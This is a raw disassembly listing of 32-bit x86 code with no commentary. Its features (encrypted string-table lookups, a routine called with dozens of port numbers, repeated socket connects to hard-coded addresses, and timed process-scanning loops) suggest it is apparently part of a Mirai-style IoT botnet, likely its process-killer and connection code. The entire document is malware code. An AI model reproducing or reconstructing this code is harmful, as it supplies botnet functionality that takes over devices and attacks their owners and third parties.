804a047: 6a 0d push $0xd
804a049: e8 32 15 00 00 call 0x804b580
804a04e: 5a pop %edx
804a04f: 59 pop %ecx
804a050: 50 push %eax
804a051: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax
804a058: 50 push %eax
804a059: e8 c2 1b 00 00 call 0x804bc20
804a05e: 58 pop %eax
804a05f: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
804a066: 52 push %edx
804a067: e8 94 1b 00 00 call 0x804bc00
804a06c: 59 pop %ecx
804a06d: 5b pop %ebx
804a06e: 57 push %edi
804a06f: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
804a076: 8d 04 02 lea (%edx,%eax,1),%eax
804a079: 50 push %eax
804a07a: e8 a1 1b 00 00 call 0x804bc20
804a07f: 58 pop %eax
804a080: 5a pop %edx
804a081: 6a 00 push $0x0
804a083: 6a 0f push $0xf
804a085: e8 f6 14 00 00 call 0x804b580
804a08a: 89 c3 mov %eax,%ebx
804a08c: 58 pop %eax
804a08d: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax
804a094: 50 push %eax
804a095: e8 66 1b 00 00 call 0x804bc00
804a09a: 5a pop %edx
804a09b: 59 pop %ecx
804a09c: 53 push %ebx
804a09d: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
804a0a4: 8d 04 02 lea (%edx,%eax,1),%eax
804a0a7: 50 push %eax
804a0a8: e8 73 1b 00 00 call 0x804bc20
804a0ad: 5b pop %ebx
804a0ae: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax
804a0b5: 50 push %eax
804a0b6: e8 45 1b 00 00 call 0x804bc00
804a0bb: 5a pop %edx
804a0bc: 59 pop %ecx
804a0bd: 68 80 e8 04 08 push $0x804e880
804a0c2: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
804a0c9: 8d 04 02 lea (%edx,%eax,1),%eax
804a0cc: 50 push %eax
804a0cd: e8 4e 1b 00 00 call 0x804bc20
804a0d2: 5b pop %ebx
804a0d3: 8d 84 24 27 10 00 00 lea 0x1027(%esp),%eax
804a0da: 50 push %eax
804a0db: e8 20 1b 00 00 call 0x804bc00
804a0e0: 5a pop %edx
804a0e1: 8d 56 0b lea 0xb(%esi),%edx
804a0e4: 59 pop %ecx
804a0e5: 52 push %edx
804a0e6: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
804a0ed: 8d 04 02 lea (%edx,%eax,1),%eax
804a0f0: 50 push %eax
804a0f1: e8 2a 1b 00 00 call 0x804bc20
804a0f6: 83 c4 0c add $0xc,%esp
804a0f9: 68 00 10 00 00 push $0x1000
804a0fe: 8d 44 24 23 lea 0x23(%esp),%eax
804a102: 50 push %eax
804a103: 8d 94 24 27 10 00 00 lea 0x1027(%esp),%edx
804a10a: 52 push %edx
804a10b: e8 94 21 00 00 call 0x804c2a4
804a110: 83 c4 10 add $0x10,%esp
804a113: 40 inc %eax
804a114: 0f 84 f6 fe ff ff je 0x804a010
804a11a: 83 ec 0c sub $0xc,%esp
804a11d: 8d 44 24 27 lea 0x27(%esp),%eax
804a121: 50 push %eax
804a122: e8 d9 1a 00 00 call 0x804bc00
804a127: 83 c4 0c add $0xc,%esp
804a12a: 8d 94 24 30 22 00 00 lea 0x2230(%esp),%edx
804a131: 52 push %edx
804a132: 50 push %eax
804a133: 8d 44 24 27 lea 0x27(%esp),%eax
804a137: 50 push %eax
804a138: e8 63 1d 00 00 call 0x804bea0
804a13d: 83 c4 10 add $0x10,%esp
804a140: 40 inc %eax
804a141: 0f 84 c9 fe ff ff je 0x804a010
804a147: 53 push %ebx
804a148: 53 push %ebx
804a149: 6a 0a push $0xa
804a14b: 57 push %edi
804a14c: e8 5f 1b 00 00 call 0x804bcb0
804a151: 5a pop %edx
804a152: 59 pop %ecx
804a153: 6a 09 push $0x9
804a155: 50 push %eax
804a156: e8 57 20 00 00 call 0x804c1b2
804a15b: c7 44 24 14 01 00 00 movl $0x1,0x14(%esp)
804a162: 00
804a163: 83 c4 10 add $0x10,%esp
804a166: e9 a5 fe ff ff jmp 0x804a010
804a16b: 90 nop
804a16c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
804a170: 46 inc %esi
804a171: 83 fe 01 cmp $0x1,%esi
804a174: 0f 85 9c fc ff ff jne 0x8049e16
804a17a: 80 7a 03 41 cmpb $0x41,0x3(%edx)
804a17e: 74 5e je 0x804a1de
804a180: 42 inc %edx
804a181: 31 db xor %ebx,%ebx
804a183: e9 6e fc ff ff jmp 0x8049df6
804a188: b3 01 mov $0x1,%bl
804a18a: e9 89 fc ff ff jmp 0x8049e18
804a18f: 90 nop
804a190: 31 d2 xor %edx,%edx
804a192: e9 ed fb ff ff jmp 0x8049d84
804a197: 89 ce mov %ecx,%esi
804a199: e9 19 fc ff ff jmp 0x8049db7
804a19e: 83 ec 0c sub $0xc,%esp
804a1a1: 31 db xor %ebx,%ebx
804a1a3: 6a 0d push $0xd
804a1a5: e8 06 14 00 00 call 0x804b5b0
804a1aa: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
804a1b1: e8 fa 13 00 00 call 0x804b5b0
804a1b6: c7 04 24 0f 00 00 00 movl $0xf,(%esp)
804a1bd: e8 ee 13 00 00 call 0x804b5b0
804a1c2: c7 04 24 11 00 00 00 movl $0x11,(%esp)
804a1c9: e8 e2 13 00 00 call 0x804b5b0
804a1ce: 83 c4 10 add $0x10,%esp
804a1d1: 81 c4 3c 22 00 00 add $0x223c,%esp
804a1d7: 89 d8 mov %ebx,%eax
804a1d9: 5b pop %ebx
804a1da: 5e pop %esi
804a1db: 5f pop %edi
804a1dc: 5d pop %ebp
804a1dd: c3 ret
804a1de: c6 44 24 0b 01 movb $0x1,0xb(%esp)
804a1e3: eb 9b jmp 0x804a180
804a1e5: 83 ec 0c sub $0xc,%esp
804a1e8: 8b 54 24 0c mov 0xc(%esp),%edx
804a1ec: 52 push %edx
804a1ed: e8 df 21 00 00 call 0x804c3d1
804a1f2: 0f be 5c 24 14 movsbl 0x14(%esp),%ebx
804a1f7: 83 c4 10 add $0x10,%esp
804a1fa: 83 ec 0c sub $0xc,%esp
804a1fd: 6a 01 push $0x1
804a1ff: e8 88 38 00 00 call 0x804da8c
804a204: c7 04 24 0d 00 00 00 movl $0xd,(%esp)
804a20b: e8 a0 13 00 00 call 0x804b5b0
804a210: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
804a217: e8 94 13 00 00 call 0x804b5b0
804a21c: c7 04 24 0f 00 00 00 movl $0xf,(%esp)
804a223: e8 88 13 00 00 call 0x804b5b0
804a228: 83 c4 10 add $0x10,%esp
804a22b: 89 d8 mov %ebx,%eax
804a22d: 81 c4 3c 22 00 00 add $0x223c,%esp
804a233: 5b pop %ebx
804a234: 5e pop %esi
804a235: 5f pop %edi
804a236: 5d pop %ebp
804a237: c3 ret
804a238: 8a 84 24 1c 22 00 00 mov 0x221c(%esp),%al
804a23f: c6 84 24 20 22 00 00 movb $0x0,0x2220(%esp)
804a246: 00
804a247: 88 84 24 1e 22 00 00 mov %al,0x221e(%esp)
804a24e: 8a 84 24 1d 22 00 00 mov 0x221d(%esp),%al
804a255: 88 84 24 1f 22 00 00 mov %al,0x221f(%esp)
804a25c: c6 84 24 1c 22 00 00 movb $0x30,0x221c(%esp)
804a263: 30
804a264: c6 84 24 1d 22 00 00 movb $0x30,0x221d(%esp)
804a26b: 30
804a26c: e9 83 fa ff ff jmp 0x8049cf4
804a271: 83 ec 0c sub $0xc,%esp
804a274: 55 push %ebp
804a275: e8 57 21 00 00 call 0x804c3d1
804a27a: 83 c4 10 add $0x10,%esp
804a27d: e9 4a fc ff ff jmp 0x8049ecc
804a282: 90 nop
804a283: 90 nop
804a284: 90 nop
804a285: 90 nop
804a286: 90 nop
804a287: 90 nop
804a288: 90 nop
804a289: 90 nop
804a28a: 90 nop
804a28b: 90 nop
804a28c: 90 nop
804a28d: 90 nop
804a28e: 90 nop
804a28f: 90 nop
804a290: 55 push %ebp
804a291: 57 push %edi
804a292: 56 push %esi
804a293: 53 push %ebx
804a294: 81 ec 18 21 00 00 sub $0x2118,%esp
804a29a: 6a 00 push $0x0
804a29c: e8 9e 20 00 00 call 0x804c33f
804a2a1: 89 c6 mov %eax,%esi
804a2a3: e8 59 1e 00 00 call 0x804c101
804a2a8: 83 c4 10 add $0x10,%esp
804a2ab: a3 10 f1 04 08 mov %eax,0x804f110
804a2b0: 85 c0 test %eax,%eax
804a2b2: 7e 0b jle 0x804a2bf
804a2b4: 81 c4 0c 21 00 00 add $0x210c,%esp
804a2ba: 5b pop %ebx
804a2bb: 5e pop %esi
804a2bc: 5f pop %edi
804a2bd: 5d pop %ebp
804a2be: c3 ret
804a2bf: 40 inc %eax
804a2c0: 74 f2 je 0x804a2b4
804a2c2: 83 ec 0c sub $0xc,%esp
804a2c5: 6a 05 push $0x5
804a2c7: e8 c0 37 00 00 call 0x804da8c
804a2cc: c7 04 24 00 10 00 00 movl $0x1000,(%esp)
804a2d3: e8 98 25 00 00 call 0x804c870
804a2d8: a3 0c f1 04 08 mov %eax,0x804f10c
804a2dd: c6 00 00 movb $0x0,(%eax)
804a2e0: c7 04 24 0d 00 00 00 movl $0xd,(%esp)
804a2e7: c7 05 c4 f0 04 08 00 movl $0x0,0x804f0c4
804a2ee: 00 00 00
804a2f1: e8 3a 13 00 00 call 0x804b630
804a2f6: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
804a2fd: e8 2e 13 00 00 call 0x804b630
804a302: 5d pop %ebp
804a303: 58 pop %eax
804a304: 6a 00 push $0x0
804a306: 6a 0d push $0xd
804a308: e8 73 12 00 00 call 0x804b580
804a30d: 5b pop %ebx
804a30e: 5f pop %edi
804a30f: 50 push %eax
804a310: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax
804a317: 89 44 24 1c mov %eax,0x1c(%esp)
804a31b: 50 push %eax
804a31c: e8 ff 18 00 00 call 0x804bc20
804a321: 8d 9c 24 44 10 00 00 lea 0x1044(%esp),%ebx
804a328: 01 c3 add %eax,%ebx
804a32a: e8 f8 1d 00 00 call 0x804c127
804a32f: 83 c4 0c add $0xc,%esp
804a332: 8d 94 24 b8 20 00 00 lea 0x20b8(%esp),%edx
804a339: 52 push %edx
804a33a: 6a 0a push $0xa
804a33c: 50 push %eax
804a33d: e8 2e 1c 00 00 call 0x804bf70
804a342: 5a pop %edx
804a343: 59 pop %ecx
804a344: 50 push %eax
804a345: 53 push %ebx
804a346: e8 d5 18 00 00 call 0x804bc20
804a34b: 5d pop %ebp
804a34c: 01 c3 add %eax,%ebx
804a34e: 58 pop %eax
804a34f: 6a 00 push $0x0
804a351: 6a 0e push $0xe
804a353: e8 28 12 00 00 call 0x804b580
804a358: 59 pop %ecx
804a359: 5f pop %edi
804a35a: 50 push %eax
804a35b: 53 push %ebx
804a35c: e8 bf 18 00 00 call 0x804bc20
804a361: 89 c7 mov %eax,%edi
804a363: 58 pop %eax
804a364: 5a pop %edx
804a365: 6a 00 push $0x0
804a367: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax
804a36e: 50 push %eax
804a36f: e8 70 1e 00 00 call 0x804c1e4
804a374: 83 c4 10 add $0x10,%esp
804a377: 83 f8 ff cmp $0xffffffff,%eax
804a37a: 0f 84 34 ff ff ff je 0x804a2b4
804a380: 83 ec 0c sub $0xc,%esp
804a383: 50 push %eax
804a384: e8 4a 1d 00 00 call 0x804c0d3
804a389: c7 04 24 0d 00 00 00 movl $0xd,(%esp)
804a390: e8 1b 12 00 00 call 0x804b5b0
804a395: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
804a39c: e8 0f 12 00 00 call 0x804b5b0
804a3a1: 83 c4 0c add $0xc,%esp
804a3a4: a1 0c f1 04 08 mov 0x804f10c,%eax
804a3a9: 68 ff 0f 00 00 push $0xfff
804a3ae: 50 push %eax
804a3af: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax
804a3b6: 50 push %eax
804a3b7: e8 e8 1e 00 00 call 0x804c2a4
804a3bc: 83 c4 10 add $0x10,%esp
804a3bf: 89 c2 mov %eax,%edx
804a3c1: 83 f8 ff cmp $0xffffffff,%eax
804a3c4: 74 09 je 0x804a3cf
804a3c6: a1 0c f1 04 08 mov 0x804f10c,%eax
804a3cb: c6 04 10 00 movb $0x0,(%eax,%edx,1)
804a3cf: 50 push %eax
804a3d0: 50 push %eax
804a3d1: 8b 6c 24 18 mov 0x18(%esp),%ebp
804a3d5: 8d 04 3b lea (%ebx,%edi,1),%eax
804a3d8: 29 e8 sub %ebp,%eax
804a3da: bd 90 01 00 00 mov $0x190,%ebp
804a3df: 50 push %eax
804a3e0: 8d bc 24 40 10 00 00 lea 0x1040(%esp),%edi
804a3e7: 57 push %edi
804a3e8: e8 a3 18 00 00 call 0x804bc90
804a3ed: c7 44 24 28 00 00 00 movl $0x0,0x28(%esp)
804a3f4: 00
804a3f5: 83 c4 10 add $0x10,%esp
804a3f8: 83 ec 0c sub $0xc,%esp
804a3fb: 6a 0d push $0xd
804a3fd: e8 2e 12 00 00 call 0x804b630
804a402: 5b pop %ebx
804a403: 5f pop %edi
804a404: 6a 00 push $0x0
804a406: 6a 0d push $0xd
804a408: e8 73 11 00 00 call 0x804b580
804a40d: 89 04 24 mov %eax,(%esp)
804a410: e8 2c 20 00 00 call 0x804c441
804a415: 89 44 24 2c mov %eax,0x2c(%esp)
804a419: 83 c4 10 add $0x10,%esp
804a41c: 85 c0 test %eax,%eax
804a41e: 0f 84 90 fe ff ff je 0x804a2b4
804a424: 83 ec 0c sub $0xc,%esp
804a427: 6a 0d push $0xd
804a429: e8 82 11 00 00 call 0x804b5b0
804a42e: c7 04 24 bb e5 00 00 movl $0xe5bb,(%esp)
804a435: e8 06 f8 ff ff call 0x8049c40
804a43a: c7 04 24 07 c7 00 00 movl $0xc707,(%esp)
804a441: e8 fa f7 ff ff call 0x8049c40
804a446: c7 04 24 05 3a 00 00 movl $0x3a05,(%esp)
804a44d: e8 ee f7 ff ff call 0x8049c40
804a452: c7 04 24 05 39 00 00 movl $0x3905,(%esp)
804a459: e8 e2 f7 ff ff call 0x8049c40
804a45e: c7 04 24 01 a4 00 00 movl $0xa401,(%esp)
804a465: e8 d6 f7 ff ff call 0x8049c40
804a46a: c7 04 24 00 e8 00 00 movl $0xe800,(%esp)
804a471: e8 ca f7 ff ff call 0x8049c40
804a476: c7 04 24 02 9a 00 00 movl $0x9a02,(%esp)
804a47d: e8 be f7 ff ff call 0x8049c40
804a482: c7 04 24 06 8c 00 00 movl $0x8c06,(%esp)
804a489: e8 b2 f7 ff ff call 0x8049c40
804a48e: c7 04 24 01 bb 00 00 movl $0xbb01,(%esp)
804a495: e8 a6 f7 ff ff call 0x8049c40
804a49a: c7 04 24 10 e1 00 00 movl $0xe110,(%esp)
804a4a1: e8 9a f7 ff ff call 0x8049c40
804a4a6: c7 04 24 1a 0b 00 00 movl $0xb1a,(%esp)
804a4ad: e8 8e f7 ff ff call 0x8049c40
804a4b2: c7 04 24 1a 29 00 00 movl $0x291a,(%esp)
804a4b9: e8 82 f7 ff ff call 0x8049c40
804a4be: c7 04 24 03 e7 00 00 movl $0xe703,(%esp)
804a4c5: e8 76 f7 ff ff call 0x8049c40
804a4ca: c7 04 24 00 45 00 00 movl $0x4500,(%esp)
804a4d1: e8 6a f7 ff ff call 0x8049c40
804a4d6: c7 04 24 00 15 00 00 movl $0x1500,(%esp)
804a4dd: e8 5e f7 ff ff call 0x8049c40
804a4e2: c7 04 24 00 14 00 00 movl $0x1400,(%esp)
804a4e9: e8 52 f7 ff ff call 0x8049c40
804a4ee: c7 04 24 04 bc 00 00 movl $0xbc04,(%esp)
804a4f5: e8 46 f7 ff ff call 0x8049c40
804a4fa: c7 04 24 02 2b 00 00 movl $0x2b02,(%esp)
804a501: e8 3a f7 ff ff call 0x8049c40
804a506: c7 04 24 01 bc 00 00 movl $0xbc01,(%esp)
804a50d: e8 2e f7 ff ff call 0x8049c40
804a512: c7 04 24 01 4d 00 00 movl $0x4d01,(%esp)
804a519: e8 22 f7 ff ff call 0x8049c40
804a51e: c7 04 24 00 de 00 00 movl $0xde00,(%esp)
804a525: e8 16 f7 ff ff call 0x8049c40
804a52a: c7 04 24 00 6f 00 00 movl $0x6f00,(%esp)
804a531: e8 0a f7 ff ff call 0x8049c40
804a536: c7 04 24 02 9a 00 00 movl $0x9a02,(%esp)
804a53d: e8 fe f6 ff ff call 0x8049c40
804a542: c7 04 24 03 09 00 00 movl $0x903,(%esp)
804a549: e8 f2 f6 ff ff call 0x8049c40
804a54e: c7 04 24 03 78 00 00 movl $0x7803,(%esp)
804a555: e8 e6 f6 ff ff call 0x8049c40
804a55a: c7 04 24 03 e7 00 00 movl $0xe703,(%esp)
804a561: e8 da f6 ff ff call 0x8049c40
804a566: c7 04 24 04 00 00 00 movl $0x4,(%esp)
804a56d: e8 ce f6 ff ff call 0x8049c40
804a572: c7 04 24 08 00 00 00 movl $0x8,(%esp)
804a579: e8 c2 f6 ff ff call 0x8049c40
804a57e: c7 04 24 06 50 00 00 movl $0x5006,(%esp)
804a585: e8 b6 f6 ff ff call 0x8049c40
804a58a: c7 04 24 10 f7 00 00 movl $0xf710,(%esp)
804a591: e8 aa f6 ff ff call 0x8049c40
804a596: c7 04 24 00 0b 00 00 movl $0xb00,(%esp)
804a59d: e8 9e f6 ff ff call 0x8049c40
804a5a2: c7 04 24 00 0a 00 00 movl $0xa00,(%esp)
804a5a9: e8 92 f6 ff ff call 0x8049c40
804a5ae: 66 c7 84 24 e6 20 00 movw $0x1700,0x20e6(%esp)
804a5b5: 00 00 17
804a5b8: 66 c7 84 24 d6 20 00 movw $0xa5d0,0x20d6(%esp)
804a5bf: 00 d0 a5
804a5c2: 66 c7 84 24 f6 20 00 movw $0x5f91,0x20f6(%esp)
804a5c9: 00 91 5f
804a5cc: 66 c7 84 24 06 21 00 movw $0x85ce,0x2106(%esp)
804a5d3: 00 ce 85
804a5d6: c7 04 24 00 17 00 00 movl $0x1700,(%esp)
804a5dd: e8 5e f6 ff ff call 0x8049c40
804a5e2: 83 c4 10 add $0x10,%esp
804a5e5: 84 c0 test %al,%al
804a5e7: 0f 84 be 04 00 00 je 0x804aaab
804a5ed: 51 push %ecx
804a5ee: 6a 00 push $0x0
804a5f0: 6a 01 push $0x1
804a5f2: 6a 02 push $0x2
804a5f4: e8 26 22 00 00 call 0x804c81f
804a5f9: 83 c4 10 add $0x10,%esp
804a5fc: 89 c3 mov %eax,%ebx
804a5fe: 83 f8 ff cmp $0xffffffff,%eax
804a601: 74 1e je 0x804a621
804a603: 8d 84 24 d4 20 00 00 lea 0x20d4(%esp),%eax
804a60a: 52 push %edx
804a60b: 6a 10 push $0x10
804a60d: 50 push %eax
804a60e: 53 push %ebx
804a60f: e8 48 20 00 00 call 0x804c65c
804a614: 5f pop %edi
804a615: 58 pop %eax
804a616: 6a 01 push $0x1
804a618: 53 push %ebx
804a619: e8 fa 20 00 00 call 0x804c718
804a61e: 83 c4 10 add $0x10,%esp
804a621: 51 push %ecx
804a622: 6a 00 push $0x0
804a624: 6a 01 push $0x1
804a626: 6a 02 push $0x2
804a628: e8 f2 21 00 00 call 0x804c81f
804a62d: 83 c4 10 add $0x10,%esp
804a630: 89 c3 mov %eax,%ebx
804a632: 83 f8 ff cmp $0xffffffff,%eax
804a635: 74 1e je 0x804a655
804a637: 8d 84 24 c4 20 00 00 lea 0x20c4(%esp),%eax
804a63e: 52 push %edx
804a63f: 6a 10 push $0x10
804a641: 50 push %eax
804a642: 53 push %ebx
804a643: e8 14 20 00 00 call 0x804c65c
804a648: 5f pop %edi
804a649: 58 pop %eax
804a64a: 6a 01 push $0x1
804a64c: 53 push %ebx
804a64d: e8 c6 20 00 00 call 0x804c718
804a652: 83 c4 10 add $0x10,%esp
804a655: 51 push %ecx
804a656: 6a 00 push $0x0
804a658: 6a 01 push $0x1
804a65a: 6a 02 push $0x2
804a65c: e8 be 21 00 00 call 0x804c81f
804a661: 83 c4 10 add $0x10,%esp
804a664: 89 c3 mov %eax,%ebx
804a666: 83 f8 ff cmp $0xffffffff,%eax
804a669: 74 1e je 0x804a689
804a66b: 8d 84 24 f4 20 00 00 lea 0x20f4(%esp),%eax
804a672: 52 push %edx
804a673: 6a 10 push $0x10
804a675: 50 push %eax
804a676: 53 push %ebx
804a677: e8 e0 1f 00 00 call 0x804c65c
804a67c: 5f pop %edi
804a67d: 58 pop %eax
804a67e: 6a 01 push $0x1
804a680: 53 push %ebx
804a681: e8 92 20 00 00 call 0x804c718
804a686: 83 c4 10 add $0x10,%esp
804a689: 51 push %ecx
804a68a: 6a 00 push $0x0
804a68c: 6a 01 push $0x1
804a68e: 6a 02 push $0x2
804a690: e8 8a 21 00 00 call 0x804c81f
804a695: 83 c4 10 add $0x10,%esp
804a698: 89 c3 mov %eax,%ebx
804a69a: 83 f8 ff cmp $0xffffffff,%eax
804a69d: 74 21 je 0x804a6c0
804a69f: 8d 84 24 e4 20 00 00 lea 0x20e4(%esp),%eax
804a6a6: 52 push %edx
804a6a7: 6a 10 push $0x10
804a6a9: 50 push %eax
804a6aa: 53 push %ebx
804a6ab: e8 ac 1f 00 00 call 0x804c65c
804a6b0: 5f pop %edi
804a6b1: 58 pop %eax
804a6b2: 6a 01 push $0x1
804a6b4: 53 push %ebx
804a6b5: e8 5e 20 00 00 call 0x804c718
804a6ba: 83 c4 10 add $0x10,%esp
804a6bd: 8d 76 00 lea 0x0(%esi),%esi
804a6c0: 83 ec 0c sub $0xc,%esp
804a6c3: 8b 44 24 28 mov 0x28(%esp),%eax
804a6c7: 50 push %eax
804a6c8: e8 65 1e 00 00 call 0x804c532
804a6cd: 83 c4 10 add $0x10,%esp
804a6d0: 89 c2 mov %eax,%edx
804a6d2: 85 c0 test %eax,%eax
804a6d4: 0f 84 e5 01 00 00 je 0x804a8bf
804a6da: 8a 42 0b mov 0xb(%edx),%al
804a6dd: 83 e8 30 sub $0x30,%eax
804a6e0: 3c 09 cmp $0x9,%al
804a6e2: 77 dc ja 0x804a6c0
804a6e4: 83 ec 0c sub $0xc,%esp
804a6e7: 8d 7a 0b lea 0xb(%edx),%edi
804a6ea: 57 push %edi
804a6eb: e8 f2 31 00 00 call 0x804d8e2
804a6f0: 83 c4 10 add $0x10,%esp
804a6f3: 8b 4c 24 18 mov 0x18(%esp),%ecx
804a6f7: 89 44 24 20 mov %eax,0x20(%esp)
804a6fb: 41 inc %ecx
804a6fc: 39 c5 cmp %eax,%ebp
804a6fe: 89 4c 24 18 mov %ecx,0x18(%esp)
804a702: 7c 21 jl 0x804a725
804a704: 83 ec 0c sub $0xc,%esp
804a707: 6a 00 push $0x0
804a709: e8 31 1c 00 00 call 0x804c33f
804a70e: 29 f0 sub %esi,%eax
804a710: 83 c4 10 add $0x10,%esp
804a713: 3d 58 02 00 00 cmp $0x258,%eax
804a718: 0f 8e b6 01 00 00 jle 0x804a8d4
804a71e: bd 90 01 00 00 mov $0x190,%ebp
804a723: eb 9b jmp 0x804a6c0
804a725: 83 ec 0c sub $0xc,%esp
804a728: 6a 00 push $0x0
804a72a: e8 10 1c 00 00 call 0x804c33f
804a72f: c7 04 24 0d 00 00 00 movl $0xd,(%esp)
804a736: 89 44 24 24 mov %eax,0x24(%esp)
804a73a: e8 f1 0e 00 00 call 0x804b630
804a73f: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
804a746: e8 e5 0e 00 00 call 0x804b630
804a74b: 58 pop %eax
804a74c: 5a pop %edx
804a74d: 6a 00 push $0x0
804a74f: 6a 0d push $0xd
804a751: e8 2a 0e 00 00 call 0x804b580
804a756: 5e pop %esi
804a757: 5d pop %ebp
804a758: 50 push %eax
804a759: 8d 84 24 40 20 00 00 lea 0x2040(%esp),%eax
804a760: 50 push %eax
804a761: e8 ba 14 00 00 call 0x804bc20
804a766: 8d b4 24 44 20 00 00 lea 0x2044(%esp),%esi
804a76d: 59 pop %ecx
804a76e: 01 c6 add %eax,%esi
804a770: 5b pop %ebx
804a771: 57 push %edi
804a772: 56 push %esi
804a773: e8 a8 14 00 00 call 0x804bc20
804a778: 89 c3 mov %eax,%ebx
804a77a: 58 pop %eax
804a77b: 5a pop %edx
804a77c: 6a 00 push $0x0
804a77e: 6a 0e push $0xe
804a780: e8 fb 0d 00 00 call 0x804b580
804a785: 59 pop %ecx
804a786: 5d pop %ebp
804a787: 50 push %eax
804a788: 8d 04 1e lea (%esi,%ebx,1),%eax
804a78b: 50 push %eax
804a78c: e8 8f 14 00 00 call 0x804bc20
804a791: 58 pop %eax
804a792: 5a pop %edx
804a793: 6a 00 push $0x0
804a795: 6a 0d push $0xd
804a797: e8 e4 0d 00 00 call 0x804b580
804a79c: 5e pop %esi
804a79d: 5d pop %ebp
804a79e: 50 push %eax
804a79f: 8d 84 24 80 20 00 00 lea 0x2080(%esp),%eax
804a7a6: 50 push %eax
804a7a7: e8 74 14 00 00 call 0x804bc20
804a7ac: 8d b4 24 84 20 00 00 lea 0x2084(%esp),%esi
804a7b3: 59 pop %ecx
804a7b4: 01 c6 add %eax,%esi
804a7b6: 5b pop %ebx
804a7b7: 57 push %edi
804a7b8: 56 push %esi
804a7b9: e8 62 14 00 00 call 0x804bc20
804a7be: 89 c3 mov %eax,%ebx
804a7c0: 58 pop %eax
804a7c1: 5a pop %edx
804a7c2: 6a 00 push $0x0
804a7c4: 6a 1d push $0x1d
804a7c6: e8 b5 0d 00 00 call 0x804b580
804a7cb: 5f pop %edi
804a7cc: 5d pop %ebp
804a7cd: 50 push %eax
804a7ce: 8d 04 1e lea (%esi,%ebx,1),%eax
804a7d1: 50 push %eax
804a7d2: e8 49 14 00 00 call 0x804bc20
804a7d7: c7 04 24 0d 00 00 00 movl $0xd,(%esp)
804a7de: e8 cd 0d 00 00 call 0x804b5b0
804a7e3: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
804a7ea: e8 c1 0d 00 00 call 0x804b5b0
804a7ef: 83 c4 0c add $0xc,%esp
804a7f2: 68 ff 0f 00 00 push $0xfff
804a7f7: 8d bc 24 3c 10 00 00 lea 0x103c(%esp),%edi
804a7fe: 57 push %edi
804a7ff: 8d 84 24 40 20 00 00 lea 0x2040(%esp),%eax
804a806: 50 push %eax
804a807: e8 98 1a 00 00 call 0x804c2a4
804a80c: 83 c4 10 add $0x10,%esp
804a80f: 89 c3 mov %eax,%ebx
804a811: 83 f8 ff cmp $0xffffffff,%eax
804a814: 0f 84 2f 01 00 00 je 0x804a949
804a81a: c6 84 04 34 10 00 00 movb $0x0,0x1034(%esp,%eax,1)
804a821: 00
804a822: 83 ec 0c sub $0xc,%esp
804a825: 6a 1e push $0x1e
804a827: e8 04 0e 00 00 call 0x804b630
804a82c: 59 pop %ecx
804a82d: 5e pop %esi
804a82e: 6a 00 push $0x0
804a830: 6a 1e push $0x1e
804a832: e8 49 0d 00 00 call 0x804b580
804a837: 83 c4 0c add $0xc,%esp
804a83a: 50 push %eax
804a83b: 8d 43 ff lea -0x1(%ebx),%eax
804a83e: 50 push %eax
804a83f: 8d bc 24 40 10 00 00 lea 0x1040(%esp),%edi
804a846: 57 push %edi
804a847: e8 54 16 00 00 call 0x804bea0
804a84c: 83 c4 10 add $0x10,%esp
804a84f: 40 inc %eax
804a850: 74 21 je 0x804a873
804a852: 83 ec 0c sub $0xc,%esp
804a855: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax
804a85c: 50 push %eax
804a85d: e8 0b 1b 00 00 call 0x804c36d
804a862: 58 pop %eax
804a863: 5a pop %edx
804a864: 6a 09 push $0x9
804a866: 8b 44 24 2c mov 0x2c(%esp),%eax
804a86a: 50 push %eax
804a86b: e8 42 19 00 00 call 0x804c1b2
804a870: 83 c4 10 add $0x10,%esp
804a873: 83 ec 0c sub $0xc,%esp
804a876: 6a 1e push $0x1e
804a878: e8 33 0d 00 00 call 0x804b5b0
804a87d: e8 a5 18 00 00 call 0x804c127
804a882: 83 c4 10 add $0x10,%esp
804a885: 39 44 24 20 cmp %eax,0x20(%esp)
804a889: 74 27 je 0x804a8b2
804a88b: e8 bd 18 00 00 call 0x804c14d
804a890: 39 44 24 20 cmp %eax,0x20(%esp)
804a894: 74 1c je 0x804a8b2
804a896: 50 push %eax
804a897: 50 push %eax
804a898: a1 0c f1 04 08 mov 0x804f10c,%eax
804a89d: 50 push %eax
804a89e: 8d bc 24 40 10 00 00 lea 0x1040(%esp),%edi
804a8a5: 57 push %edi
804a8a6: e8 75 16 00 00 call 0x804bf20
804a8ab: 83 c4 10 add $0x10,%esp
804a8ae: 84 c0 test %al,%al
804a8b0: 74 5f je 0x804a911
804a8b2: 8b 6c 24 20 mov 0x20(%esp),%ebp
804a8b6: 8b 74 24 14 mov 0x14(%esp),%esi
804a8ba: e9 01 fe ff ff jmp 0x804a6c0
804a8bf: 83 ec 0c sub $0xc,%esp
804a8c2: 8b 44 24 28 mov 0x28(%esp),%eax
804a8c6: 50 push %eax
804a8c7: e8 05 1b 00 00 call 0x804c3d1
804a8cc: 83 c4 10 add $0x10,%esp
804a8cf: e9 24 fb ff ff jmp 0x804a3f8
804a8d4: 81 7c 24 20 90 01 00 cmpl $0x190,0x20(%esp)
804a8db: 00
804a8dc: 0f 8e de fd ff ff jle 0x804a6c0
804a8e2: b8 cd cc cc cc mov $0xcccccccd,%eax
804a8e7: f7 64 24 18 mull 0x18(%esp)
804a8eb: 89 d0 mov %edx,%eax
804a8ed: c1 e8 03 shr $0x3,%eax
804a8f0: 8d 04 80 lea (%eax,%eax,4),%eax
804a8f3: 01 c0 add %eax,%eax
804a8f5: 39 44 24 18 cmp %eax,0x18(%esp)
